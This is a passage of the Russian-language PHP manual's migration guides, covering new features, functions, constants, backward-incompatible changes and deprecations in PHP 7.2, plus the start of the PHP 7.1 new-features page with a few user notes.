Абстрактные методы теперь можно переопределить, в случаях когда абстрактный класс наследуется от другого абстрактного класса.

<?php

abstract class A
{
abstract function test(string $s);
}
abstract class B extends A
{
// переопределён - всё ещё сохраняя контравариантность для параметров и ковариантность для возвращаемых значений
abstract function test($s) : int;
}

Sodium теперь является основным модулем

Современная криптографическая библиотека Sodium теперь стала основным модулем в PHP (как модуль sodium).

Смотрите раздел Sodium для получения полной информации.

Добавлено хеширование пароля с помощью Argon2

Был добавлен алгоритм Argon2 в API хеширования пароля, где доступны следующие константы:

  • PASSWORD_ARGON2I
  • PASSWORD_ARGON2_DEFAULT_MEMORY_COST
  • PASSWORD_ARGON2_DEFAULT_TIME_COST
  • PASSWORD_ARGON2_DEFAULT_THREADS

Расширенные типы строк для PDO

Тип строки PDO был расширен для поддержки национальных наборов символов при эмуляции подготавливаемых запросов. Добавлены новые константы:

  • PDO::PARAM_STR_NATL
  • PDO::PARAM_STR_CHAR
  • PDO::ATTR_DEFAULT_STR_PARAM

Эти константы используется в побитовом OR с константой PDO::PARAM_STR:

<?php

$db->quote('uber', PDO::PARAM_STR | PDO::PARAM_STR_NATL);

Дополнительная отладочная информация при эмуляции подготавливаемых запросов в PDO

Метод PDOStatement::debugDumpParams() был обновлён, чтобы включить SQL до отправки в БД, где будет показан полный необработанный запрос (включая заменённые параметры с их связанными значениями). Это было добавлено для помощи в отладке эмуляции подготавливаемых запросов (и поэтому это будет доступно только при включённой эмуляции подготавливаемых запросов).

Поддержка расширенных операций в LDAP

Была добавлена поддержка EXOP в модуль LDAP. Стали доступны следующие функции и константы:

  • ldap_parse_exop()
  • ldap_exop()
  • ldap_exop_passwd()
  • ldap_exop_whoami()
  • LDAP_EXOP_START_TLS
  • LDAP_EXOP_MODIFY_PASSWD
  • LDAP_EXOP_REFRESH
  • LDAP_EXOP_WHO_AM_I
  • LDAP_EXOP_TURN

Информация об адресе в модуле сокетов

Модуль сокетов теперь имеет возможность искать адресную информацию, а также подключаться к ней, связываться с ней и объяснять её. Для этого были добавлены следующие четыре функции:

  • socket_addrinfo_lookup()
  • socket_addrinfo_connect()
  • socket_addrinfo_bind()
  • socket_addrinfo_explain()

Расширение типа параметра

Типы параметров из переопределённых методов и реализаций интерфейсов теперь могут быть опущены. Это всё ещё соответствует LSP, так как параметры типов контравариантны.

<?php

interface A
{
public function Test(array $input);
}

class B implements A
{
public function Test($input){} // тип параметра не указан $input
}

Разрешена завершающая запятая для сгруппированных пространств имён

Завершающая запятая теперь может быть добавлена в синтаксис группировки use, появившегося в PHP 7.0.

<?php

use Foo\Bar\{
Foo,
Bar,
Baz,
};

Поддержка proc_nice() для Windows

Функция proc_nice() теперь поддерживается в Windows.

Поддержка порядка байт в pack() и unpack()

Функции pack() и unpack() теперь поддерживают типы float и double как в прямом, так и в обратном порядке байт.

Улучшения в модуле EXIF

Модуль EXIF обновлён для поддержки большего числа форматов. Это означает, что специфичные теги правильно обрабатываются при разборе изображений функцией exif_read_data(). Новые поддерживаемые форматы:

  • Samsung
  • DJI
  • Panasonic
  • Sony
  • Pentax
  • Minolta
  • Sigma/Foveon
  • AGFA
  • Kyocera
  • Ricoh
  • Epson

Функции exif_read_data() и exif_thumbnail() теперь принимают потоки в качестве своих первых аргументов.

Новая функциональность в PCRE

  • Добавлен модификатор J для установки PCRE_DUPNAMES.

SQLite3 позволяет записывать BLOB

Теперь SQLite3::openBlob() умеет открывать поля типа BLOB для записи. Раньше для таких полей было доступно только чтение.

Обратные вызовы Oracle OCI8 Transparent Application Failover

Добавлена поддержка обратных вызовов Oracle Database Transparent Application Failover (TAF). TAF позволяет приложениям PHP OCI8 автоматически переподключаться к предварительно сконфигурированной базе данных при нарушении соединения. Новая поддержка обратного вызова TAF позволяет приложениям отслеживать и контролировать переподключение во время восстановления.

Улучшения в модуле ZIP

Добавлена поддержка чтения и записи зашифрованных архивов (требуется libzip 1.2.0).

Класс ZipArchive теперь реализует интерфейс Countable.

Поток zip:// теперь принимает контекстную опцию 'password'.

User Contributed Notes

antonfedonyuk at gmail dot com 21-Apr-2021 12:27
Note: "omitted" = "removed":
<?php
declare(strict_types=1);

interface ITest
{
    public function run(array $input);
}

class Test implements ITest
{
    public function run($input) {
       return $input;
   }
}

echo (new Test())->run('foo'); // display foo, no error
?>
info at ensostudio dot ru 11-Sep-2020 07:28
Note: you cant change parameter type for abstract method defined in interface.
<?php
abstract class AbstractAssocArray imlements ArrayAccess
{
    abstract public function offsetSet($offset, $value): void;
    ...
}
abstract class AbstractAssocArray2 extends AbstractAssocArray
{
    abstract public function offsetSet(string $offset, $value): void;
}
class AssocArray extends AbstractAssocArray2
{
    public function offsetSet(string $offset, $value): void
    {
         $this->{$offset} = $value;
    }
}
?>
It's throw fatal error: Declaration of AbstractAssocArray::offsetSet(string $offset, $value): void must be compatible with AbstractAssocArrayAccess::offsetSet($offset, $value).


Новые функции

Ядро PHP

  • stream_isatty()
  • sapi_windows_vt100_support()

SPL

  • spl_object_id()

DOM

  • DomNodeList::count()
  • DOMNamedNodeMap::count()

FTP

  • ftp_append()

GD

  • imagesetclip()
  • imagegetclip()
  • imageopenpolygon()
  • imageresolution()
  • imagecreatefrombmp()
  • imagebmp()

Hash

  • hash_hmac_algos()

LDAP

  • ldap_parse_exop()
  • ldap_exop()
  • ldap_exop_passwd()
  • ldap_exop_whoami()

Многобайтные строки

  • mb_chr()
  • mb_ord()
  • mb_scrub()

Oracle OCI8

  • oci_register_taf_callback()
  • oci_unregister_taf_callback()

Сокеты

  • socket_addrinfo_lookup()
  • socket_addrinfo_connect()
  • socket_addrinfo_bind()
  • socket_addrinfo_explain()

Sodium

  • sodium_add()
  • sodium_bin2hex()
  • sodium_compare()
  • sodium_crypto_aead_aes256gcm_decrypt()
  • sodium_crypto_aead_aes256gcm_encrypt()
  • sodium_crypto_aead_aes256gcm_is_available()
  • sodium_crypto_aead_aes256gcm_keygen()
  • sodium_crypto_aead_chacha20poly1305_decrypt()
  • sodium_crypto_aead_chacha20poly1305_encrypt()
  • sodium_crypto_aead_chacha20poly1305_ietf_decrypt()
  • sodium_crypto_aead_chacha20poly1305_ietf_encrypt()
  • sodium_crypto_aead_chacha20poly1305_ietf_keygen()
  • sodium_crypto_aead_chacha20poly1305_keygen()
  • sodium_crypto_auth_keygen()
  • sodium_crypto_auth_verify()
  • sodium_crypto_auth()
  • sodium_crypto_box_keypair_from_secretkey_and_publickey()
  • sodium_crypto_box_keypair()
  • sodium_crypto_box_open()
  • sodium_crypto_box_publickey_from_secretkey()
  • sodium_crypto_box_publickey()
  • sodium_crypto_box_seal_open()
  • sodium_crypto_box_seal()
  • sodium_crypto_box_secretkey()
  • sodium_crypto_box_seed_keypair()
  • sodium_crypto_box()
  • sodium_crypto_generichash_final()
  • sodium_crypto_generichash_init()
  • sodium_crypto_generichash_keygen()
  • sodium_crypto_generichash_update()
  • sodium_crypto_generichash()
  • sodium_crypto_kdf_derive_from_key()
  • sodium_crypto_kdf_keygen()
  • sodium_crypto_kx_client_session_keys()
  • sodium_crypto_kx_keypair()
  • sodium_crypto_kx_publickey()
  • sodium_crypto_kx_secretkey()
  • sodium_crypto_kx_seed_keypair()
  • sodium_crypto_kx_server_session_keys()
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify()
  • sodium_crypto_pwhash_scryptsalsa208sha256_str()
  • sodium_crypto_pwhash_scryptsalsa208sha256()
  • sodium_crypto_pwhash_str_verify()
  • sodium_crypto_pwhash_str()
  • sodium_crypto_pwhash()
  • sodium_crypto_scalarmult_base()
  • sodium_crypto_scalarmult()
  • sodium_crypto_secretbox_keygen()
  • sodium_crypto_secretbox_open()
  • sodium_crypto_secretbox()
  • sodium_crypto_shorthash_keygen()
  • sodium_crypto_shorthash()
  • sodium_crypto_sign_detached()
  • sodium_crypto_sign_ed25519_pk_to_curve25519()
  • sodium_crypto_sign_ed25519_sk_to_curve25519()
  • sodium_crypto_sign_keypair_from_secretkey_and_publickey()
  • sodium_crypto_sign_keypair()
  • sodium_crypto_sign_open()
  • sodium_crypto_sign_publickey_from_secretkey()
  • sodium_crypto_sign_publickey()
  • sodium_crypto_sign_secretkey()
  • sodium_crypto_sign_seed_keypair()
  • sodium_crypto_sign_verify_detached()
  • sodium_crypto_sign()
  • sodium_crypto_stream_keygen()
  • sodium_crypto_stream_xor()
  • sodium_crypto_stream()
  • sodium_hex2bin()
  • sodium_increment()
  • sodium_memcmp()
  • sodium_memzero()
  • sodium_pad()
  • sodium_unpad()

ZIP

  • ZipArchive::count()
  • ZipArchive::setEncryptionName()
  • ZipArchive::SetEncryptionIndex()

User Contributed Notes

There are no user contributed notes for this page.


Новые глобальные константы

Ядро PHP

  • PHP_FLOAT_DIG
  • PHP_FLOAT_EPSILON
  • PHP_FLOAT_MIN
  • PHP_FLOAT_MAX
  • PHP_OS_FAMILY

Информация о файле

  • FILEINFO_EXTENSION

JSON

  • JSON_INVALID_UTF8_IGNORE
  • JSON_INVALID_UTF8_SUBSTITUTE

GD

  • IMG_EFFECT_MULTIPLY
  • IMG_BMP

LDAP

  • LDAP_EXOP_START_TLS
  • LDAP_EXOP_MODIFY_PASSWD
  • LDAP_EXOP_REFRESH
  • LDAP_EXOP_WHO_AM_I
  • LDAP_EXOP_TURN

Хеширование пароля

  • PASSWORD_ARGON2I
  • PASSWORD_ARGON2_DEFAULT_MEMORY_COST
  • PASSWORD_ARGON2_DEFAULT_TIME_COST
  • PASSWORD_ARGON2_DEFAULT_THREADS

PCRE

  • PREG_UNMATCHED_AS_NULL

PDO

  • PDO::PARAM_STR_NATL
  • PDO::PARAM_STR_CHAR
  • PDO::ATTR_DEFAULT_STR_PARAM

Sodium

  • SODIUM_LIBRARY_VERSION
  • SODIUM_LIBRARY_MAJOR_VERSION
  • SODIUM_LIBRARY_MINOR_VERSION
  • SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES
  • SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES
  • SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES
  • SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES
  • SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES
  • SODIUM_CRYPTO_AUTH_BYTES
  • SODIUM_CRYPTO_AUTH_KEYBYTES
  • SODIUM_CRYPTO_BOX_SEALBYTES
  • SODIUM_CRYPTO_BOX_SECRETKEYBYTES
  • SODIUM_CRYPTO_BOX_PUBLICKEYBYTES
  • SODIUM_CRYPTO_BOX_KEYPAIRBYTES
  • SODIUM_CRYPTO_BOX_MACBYTES
  • SODIUM_CRYPTO_BOX_NONCEBYTES
  • SODIUM_CRYPTO_BOX_SEEDBYTES
  • SODIUM_CRYPTO_KDF_BYTES_MIN
  • SODIUM_CRYPTO_KDF_BYTES_MAX
  • SODIUM_CRYPTO_KDF_CONTEXTBYTES
  • SODIUM_CRYPTO_KDF_KEYBYTES
  • SODIUM_CRYPTO_KX_SEEDBYTES
  • SODIUM_CRYPTO_KX_SESSIONKEYBYTES
  • SODIUM_CRYPTO_KX_PUBLICKEYBYTES
  • SODIUM_CRYPTO_KX_SECRETKEYBYTES
  • SODIUM_CRYPTO_KX_KEYPAIRBYTES
  • SODIUM_CRYPTO_GENERICHASH_BYTES
  • SODIUM_CRYPTO_GENERICHASH_BYTES_MIN
  • SODIUM_CRYPTO_GENERICHASH_BYTES_MAX
  • SODIUM_CRYPTO_GENERICHASH_KEYBYTES
  • SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN
  • SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX
  • SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13
  • SODIUM_CRYPTO_PWHASH_ALG_DEFAULT
  • SODIUM_CRYPTO_PWHASH_SALTBYTES
  • SODIUM_CRYPTO_PWHASH_STRPREFIX
  • SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE
  • SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE
  • SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE
  • SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE
  • SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE
  • SODIUM_CRYPTO_SCALARMULT_BYTES
  • SODIUM_CRYPTO_SCALARMULT_SCALARBYTES
  • SODIUM_CRYPTO_SHORTHASH_BYTES
  • SODIUM_CRYPTO_SHORTHASH_KEYBYTES
  • SODIUM_CRYPTO_SECRETBOX_KEYBYTES
  • SODIUM_CRYPTO_SECRETBOX_MACBYTES
  • SODIUM_CRYPTO_SECRETBOX_NONCEBYTES
  • SODIUM_CRYPTO_SIGN_BYTES
  • SODIUM_CRYPTO_SIGN_SEEDBYTES
  • SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES
  • SODIUM_CRYPTO_SIGN_SECRETKEYBYTES
  • SODIUM_CRYPTO_SIGN_KEYPAIRBYTES
  • SODIUM_CRYPTO_STREAM_NONCEBYTES
  • SODIUM_CRYPTO_STREAM_KEYBYTES

Zip

  • ZipArchive::EM_NONE
  • ZipArchive::EM_AES_128
  • ZipArchive::EM_AES_192
  • ZipArchive::EM_AES_256

User Contributed Notes

There are no user contributed notes for this page.


Изменения, ломающие обратную совместимость

Предотвращение возврата отрицательного нуля из number_format()

Раньше функция number_format() возвращала -0. Хотя это совершенно правильно в соответствии со спецификацией чисел с плавающей точкой IEEE 754, эта странность нежелательна для отображения отформатированных чисел в удобочитаемой форме.

<?php

var_dump(number_format(-0.01)); // теперь выводит string(1) "0" вместо string(2) "-0"

Преобразование числовых ключей при приведении объектов и массивов

Теперь числовые ключи лучше обрабатываются при приведении массивов к объектам и объектов к массивам (через явное приведение, либо используя settype()).

Это означает, что числовые (или числа в виде строк) ключи из массивов, конвертированные в объекты теперь будут доступны:

<?php

// приведение массива к объекту
$arr = [0 => 1];
$obj = (object)$arr;
var_dump(
$obj,
$obj->{'0'}, // теперь работает
$obj->{0} // теперь работает
);

Результат выполнения приведённого примера:

object(stdClass)#1 (1) {
  ["0"]=>    // теперь это строковый ключ, а не числовой
  int(1)
}
int(1)
int(1)

И теперь числовые (или числа в виде строк) ключи объектов доступны при конвертации в массивы:

<?php

// приведение объекта в массив
$obj = new class {
public function __construct()
{
$this->{0} = 1;
}
};
$arr = (array)$obj;
var_dump(
$arr,
$arr[0], // теперь работает
$arr['0'] // теперь работает
);

Результат выполнения приведённого примера:

array(1) {
  [0]=>    // теперь это числовой ключ, а не строковый
  int(1)
}
int(1)
int(1)

Запрещена передача null в get_class()

Раньше передача null в функцию get_class() возвращала имя класса, из которого был сделан вызов. Это поведение было удалено и теперь вместо этого будет вызвана ошибка уровня E_WARNING. Для достижения того же поведения, что и раньше, следует просто опустить аргумент.

Предупреждение при подсчёте неисчисляемых типов

Теперь при использовании count() с параметром, который нельзя посчитать будет возникать ошибка уровня E_WARNING (это также касается sizeof() как псевдонима этой функции).

<?php

var_dump(
count(null), // NULL нельзя подсчитать
count(1), // числа нельзя подсчитать
count('abc'), // строки нельзя подсчитать
count(new stdClass), // объекты, не реализующие интерфейс Countable, нельзя подсчитать
count([1,2]) // массивы можно подсчитать
);

Результат выполнения приведённого примера:

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(0)
int(1)
int(1)
int(1)
int(2)

Переход от ресурсов к объектам в модуле Hash

В рамках долгосрочной миграции отказа от ресурсов, модуль Hash был обновлён для использования объектов вместо ресурсов. Это изменение должно быть плавным для PHP-разработчиков, за исключением случаев, когда используются проверки is_resource() (которые нужно заменить на использование is_object()).

Улучшены значения по умолчанию в SSL/TLS

Были сделаны следующие изменения в значения по умолчанию:

  • tls:// теперь по умолчанию используется TLSv1.0 или TLSv1.1 или TLSv1.2
  • ssl:// псевдоним tls://
  • Константы STREAM_CRYPTO_METHOD_TLS_* по умолчанию равны TLSv1.0 или TLSv1.1 + TLSv1.2, вместо TLSv1.0

Возвращаемое значение gettype() для закрытых ресурсов

Раньше использование gettype() на закрытом ресурсе возвращало строку "unknown type". Теперь будет возвращена строка "resource (closed)".

is_object() и __PHP_Incomplete_Class

Раньше использование is_object() на классе __PHP_Incomplete_Class возвращало false. Теперь будет возвращаться true.

Повышены уровни ошибок неопределённых констант

Не полностью определённые ссылки на неопределённые константы теперь будут генерировать E_WARNING (вместо E_NOTICE). В следующей основной версии PHP они будут генерировать исключения Error.

Поддержка Windows

Официально поддерживаемые минимальные версии Windows теперь являются Windows 7/Server 2008 R2.

Проверка значений свойств по умолчанию трейта

Проверки совместимости значений свойств по умолчанию трейта больше не выполняют приведение типа.

object для имён классов

Имя object ранее было мягко зарезервировано с PHP 7.0. Теперь оно полноценное зарезервированное слово, запрещающее использовать его в качестве имени класса, трейта или интерфейса.

Поддержка NetWare

Поддержка NetWare была удалена.

array_unique() with SORT_STRING

Если sort_flags равен SORT_STRING, ранее массив array копировался, а не уникальные элементы удалялись (сохраняя значения цифровых индексов), но теперь создаётся новый массив путём добавления уникальных элементов. Это может привести к различным числовым индексам.

Изменения bcmod() с числами с плавающей точкой

Функция bcmod() больше не обрезает числа с плавающей точкой до целых. Таким образом, её поведение теперь соответствует fmod(), а не оператору %. Например, bcmod('4', '3.5') теперь возвращает 0.5 вместо 1.

Функции хеширования и некриптографические хеши

Функции hash_hmac(), hash_hmac_file(), hash_pbkdf2() и hash_init() (с HASH_HMAC) больше не принимают некриптографические хеши.

Опции функции json_decode()

Опция функции json_decode(), JSON_OBJECT_AS_ARRAY, теперь используется, если второй параметр (assoc) равен null. Ранее JSON_OBJECT_AS_ARRAY всегда игнорировался.

Вывод rand() и mt_rand()

Числа, генерируемые rand() и mt_rand() для определённого параметра переинициализации (seed), могут отличаться от PHP 7.1 на 64-битных машинах (из-за исправления ошибки модульного смещения в реализации).

Удаление ini-настройки sql.safe_mode

Настройка конфигурации sql.safe_mode была удалена.

Изменения в date_parse() и date_parse_from_format()

Элемент массива zone, возвращаемого функциями date_parse_from_format() и date_parse() теперь отображает секунды вместо минут, а его знак инвертируется. Например, -120 теперь будет 7200.

Входящие Cookies

Начиная с PHP 7.2.34 имена входящих cookie больше не декодируются из URL-закодированной строки из соображений безопасности.

User Contributed Notes

There are no user contributed notes for this page.


Функционал, объявленный устаревшим в PHP 7.2.x

Строки без кавычек

Строки без кавычек, которые не являются существующими глобальными константами, считались за строки. Такое поведение раньше вызывало ошибку уровня E_NOTICE, но теперь будет E_WARNING. В следующей основной версии PHP вместо ошибки будет выбрасываться исключение Error.

<?php

var_dump(NONEXISTENT);

/* Вывод:
Warning: Use of undefined constant NONEXISTENT - assumed 'NONEXISTENT' (this will throw an Error in a future version of PHP) in %s on line %d
string(11) "NONEXISTENT"
*/

png2wbmp() и jpeg2wbmp()

Функции png2wbmp() и jpeg2wbmp() из модуля GD объявлены устаревшими и будут удалены в следующей основной версии PHP.

Вариант INTL_IDNA_VARIANT_2003

В модуле Intl объявлен устаревшим вариант INTL_IDNA_VARIANT_2003, который в настоящее время используется по умолчанию для функций idn_to_ascii() и idn_to_utf8(). В PHP 7.4 значение по умолчанию будет изменено на INTL_IDNA_VARIANT_UTS46, а в следующей основной версии PHP константа INTL_IDNA_VARIANT_2003 будет полностью удалена.

Функция __autoload()

Функция __autoload() была объявлена устаревшей, потому что она уступает альтернативной функции spl_autoload_register() (из-за того, что не может иметь очередь из функций автозагрузки), и ввиду того, что нет совместимости между этими двумя стилями автозагрузки.

Параметр track_errors и переменная $php_errormsg

Когда параметр track_errors включён в ini-настройках, переменная $php_errormsg создаётся в локальной области видимости, когда происходит не фатальная ошибка. Учитывая, что предпочтительным способом получения такой информации об ошибке является использование функции error_get_last(), данная возможность была объявлена устаревшей.

Функция create_function()

Учитывая проблемы c безопасностью данной функции (из-за того, что она является обёрткой над eval()), эта функция объявлена устаревшей. Предпочтительной альтернативой является использование анонимных функций.

Параметр mbstring.func_overload

Учитывая проблемы совместимости строковых функций, используемых в окружениях с включённым этим параметром, этот параметр объявлен устаревшим.

Приведение типа (unset)

Приведение любого выражения с использованием этого типа всегда приводит к null, и поэтому этот избыточный тип приведения объявлен устаревшим.

parse_str() без второго параметра

Без передачи второго параметра функции parse_str(), параметры строки запроса будут заполнять текущую таблицу символов (будут доступны как переменные в локальной области видимости). Учитывая последствия для безопасности из-за этого, использование parse_str() без второго параметра объявлено устаревшим. Эта функция всегда должна использоваться с двумя аргументами, так как во второй аргумент сохраняются параметры строки запроса в качестве элементов массива.

Функция gmp_random()

Эта функция генерирует случайное число, основанное на диапазоне, который вычисляется в зависимости от платформы, размера лимба (limb). Из-за этого данная функция объявлена устаревшей. Предпочтительным способом генерации случайного числа через модуль GMP является использование функций gmp_random_bits() и gmp_random_range().

Функция each()

Эта функция намного медленнее по итерации, чем использование обычного foreach, и создаёт проблемы с реализацией для некоторых изменений языка, поэтому данная функция объявлена устаревшей.

assert() со строковым аргументом

Использование assert() со строковым параметром требовало передачи строки для исполнения в eval(). Учитывая возможность удалённого выполнения кода, использование assert() со строковым аргументом теперь объявлено устаревшим в пользу использования логических выражений.

Аргумент $errcontext в обработчиках ошибок

Аргумент $errcontext содержит все локальные переменные в месте, где была произошла ошибка. Учитывая редкое его использование и проблемы, связанные с внутренней оптимизацией, этот параметр объявлен устаревшим. Вместо этого рекомендуется использовать отладчик для получения информации об ошибках.

Функция read_exif_data()

Псевдоним read_exif_data() был объявлен устаревшим в пользу функции exif_read_data().

User Contributed Notes

Anonymous 26-Jul-2018 05:09
An empty <?php?> Codeblock in PHP 7.2.0 will put out an "Unquoted strings" warning. To prevent that, add at least one empty space into the codeblock.

Example:
<?php

<?php/*
echo "This was some useful code.\n";
*/?>

?>
Gives: PHP Warning:  Use of undefined constant php - assumed 'php' (this will throw an Error in a future version of PHP)

Fix via:
<?php

<?php   /*
echo "This was some useful code.\";
*/?>

?>

Don't know if that is an intentional behaviour or a side effect.
webmaster at thedigitalorchard dot ca 01-Feb-2018 05:14
Instead of __autoload(), you can use spl_autoload_register() very easily, as per the documentation:

spl_autoload_register(function ($class) {
    include 'classes/' . $class . '.class.php';
});

And this lets you have multiple autoloaders instead of one global one.


Прочие изменения

Перемещение utf8_encode() и utf8_decode()

Функции utf8_encode() и utf8_decode() были перемещены в стандартную библиотеку в качестве функций по работе со строками. В предыдущих версиях для их использования необходимо было установить модуль XML.

Изменения mail() и mb_send_mail()

Параметр $additional_headers функций mail() и mb_send_mail() теперь также принимает массив (array) вместо строки (string).

Поддержка LMDB

Модуль DBA получил поддержку LMDB.

Изменения в системе сборки PHP

  • Unix: Теперь для сборки PHP требуется autoconf 2.64 или выше.
  • Unix: Для параметра конфигурации --with-pdo-oci более не нужно указывать версию Oracle Instant Client.
  • Unix: Удалён параметр конфигурации --enable-gd-native-ttf. Он не использовался с PHP 5.5.0.
  • Windows: Добавлен параметр конфигурации --with-config-profile. Он может использоваться для сохранения определённых конфигураций, таких как магический файл config.nice.bat.

Изменения в GD

  • Теперь функция imageantialias() доступна при компиляции с системной библиотекой libgd.
  • Функция imagegd() сохраняет truecolor-изображения как истинные truecolor-изображения. Раньше они преобразовывались в изображения с фиксированной палитрой.

Перемещение MCrypt в PECL

Модуль MCrypt был удалён из ядра PHP и перемещён в PECL. Библиотека mcrypt не обновлялась с 2007 года и использовать её крайне не рекомендуется. Вместо неё используйте модуль OpenSSL или Sodium.

session_module_name()

Передача значения "user" в опцию session_module_name() теперь приведёт к ошибке уровня E_RECOVERABLE_ERROR. Ранее это просто игнорировалось.

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 7.0.x на PHP 7.1.x

Содержание

  • Новые возможности
  • Новые функции
  • Новые глобальные константы
  • Изменения, ломающие обратную совместимость
  • Функционал, объявленный устаревшим в PHP 7.1.x
  • Изменённые функции
  • Прочие изменения
  • Поддержка Windows

Эта новая минорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных окружениях.

Смотрите также руководство по миграции для версий PHP 7.0.x.

User Contributed Notes

There are no user contributed notes for this page.


Новые возможности

Обнуляемые типы

Типы для параметров и возвращаемых значений могут быть помечены как обнуляемые путём добавления префикса в виде знака вопроса. Это означает, что указанные параметры и возвращаемые значения, могут быть как указанного типа, так и null.

<?php

function testReturn(): ?string
{
return 'elePHPant';
}

var_dump(testReturn());

function testReturn(): ?string
{
return null;
}

var_dump(testReturn());

function test(?string $name)
{
var_dump($name);
}

test('elePHPant');
test(null);
test();

Результат выполнения приведённого примера:

string(10) "elePHPant"
NULL
string(10) "elePHPant"
NULL
Uncaught Error: Too few arguments to function test(), 0 passed in...

Ничего не возвращающие функции

Был добавлен тип возвращаемого значения void. Функции с таким заданным типом возвращаемого значения не должны ничего возвращать. То есть либо вообще не содержать ни одного оператора return, либо использовать его без параметра. null не является корректным значением для возврата в таких функциях.

<?php
function swap(&$left, &$right): void
{
if ($left === $right) {
return;
}

$tmp = $left;
$left = $right;
$right = $tmp;
}

$a = 1;
$b = 2;
var_dump(swap($a, $b), $a, $b);

Результат выполнения приведённого примера:

null
int(2)
int(1)

Попытка использовать возвращаемое значение таких функций приведёт к тому, что это значение будет считаться за null, без вывода предупреждения. Причина этого в том, что предупреждения будут вызывать общих функций высшего порядка.

Симметричная деструктуризация массива

Можно использовать короткий синтаксис ([]) для деструктуризации массивов с целью присвоения (в том числе в foreach), как альтернатива функции list(), которая, впрочем, всё ещё поддерживается.

<?php
$data = [
[1, 'Tom'],
[2, 'Fred'],
];

// используя list()
list($id1, $name1) = $data[0];

// используя []
[$id1, $name1] = $data[0];

// используя list()
foreach ($data as list($id, $name)) {
// код, содержащий $id и $name
}

// используя []
foreach ($data as [$id, $name]) {
// код, содержащий $id и $name
}

Видимость констант класса

Добавлена поддержка определения области видимости для констант класса.

<?php
class ConstDemo
{
const PUBLIC_CONST_A = 1;
public const PUBLIC_CONST_B = 2;
protected const PROTECTED_CONST = 3;
private const PRIVATE_CONST = 4;
}

Псевдотип iterable

Был добавлен новый псевдотип (похожий на callable), названный iterable. Он может использоваться как параметр, так и в качестве возвращаемого значения там, где используется массив или объект, реализующий интерфейс Traversable. Что касается подтипов, типы параметров из дочерних классов могут расширить декларацию родителей типа array или Traversable до iterable. Для типов возврата, дочерние классы могут сужать тип возвращаемого значения с iterable до array или объекта реализующего Traversable.

<?php
function iterator(iterable $iter)
{
foreach ($iter as $val) {
//
}
}

Обработка нескольких исключений в одном блоке catch

В блоке catch теперь можно обрабатывать несколько исключений, перечисляя их через символ вертикальной черты (|). Это может быть полезно, если различные исключения обрабатываются одинаково.

<?php
try {
// Какой то код
} catch (FirstException | SecondException $e) {
// Обрабатываем оба исключения
}

Поддержка ключей в list()

Теперь вы можете указывать ключи в операторе list() или в его новом коротком синтаксисе []. Это позволяет деструктурировать массивы с нечисловыми или непоследовательными ключами.

<?php
$data = [
["id" => 1, "name" => 'Tom'],
["id" => 2, "name" => 'Fred'],
];

// стиль list()
list("id" => $id1, "name" => $name1) = $data[0];

// стиль []
["id" => $id1, "name" => $name1] = $data[0];

// стиль list()
foreach ($data as list("id" => $id, "name" => $name)) {
// logic here with $id and $name
}

// стиль []
foreach ($data as ["id" => $id, "name" => $name]) {
// logic here with $id and $name
}

Поддержка отрицательных смещений для строк

Поддержка отрицательных смещений для строк добавлена в функции для работы со строками, а также в индексацию строк с помощью [] или {}. В этих случаях отрицательные смещения интерпретируются как смещения относительно конца строки.

<?php
var_dump("abcdef"[-2]);
var_dump(strpos("aabbcc", "b", -3));

Результат выполнения приведённого примера:

string (1) "e"
int(3)

Теперь поддерживаются отрицательные смещения в простом синтаксисе указания индекса в строках и массивах.

<?php
$string = 'bar';
echo "Последний символ '$string' - '$string[-1]'.\n";
?>

Результат выполнения приведённого примера:

Последний символ 'bar' - 'r'.

Поддержка AEAD в ext/openssl

Поддержка AEAD (режимы GCM и CCM) была добавлена путём расширения функций openssl_encrypt() и openssl_decrypt() дополнительными параметрами.

Преобразование callable в Closure с помощью Closure::fromCallable()

В класс Closure добавлен новый статический метод для возможности легко преобразовать callable в объекты типа Closure.

<?php
class Test
{
public function exposeFunction()
{
return Closure::fromCallable([$this, 'privateFunction']);
}

private function privateFunction($param)
{
var_dump($param);
}
}

$privFunc = (new Test)->exposeFunction();
$privFunc('значение');

Результат выполнения приведённого примера:

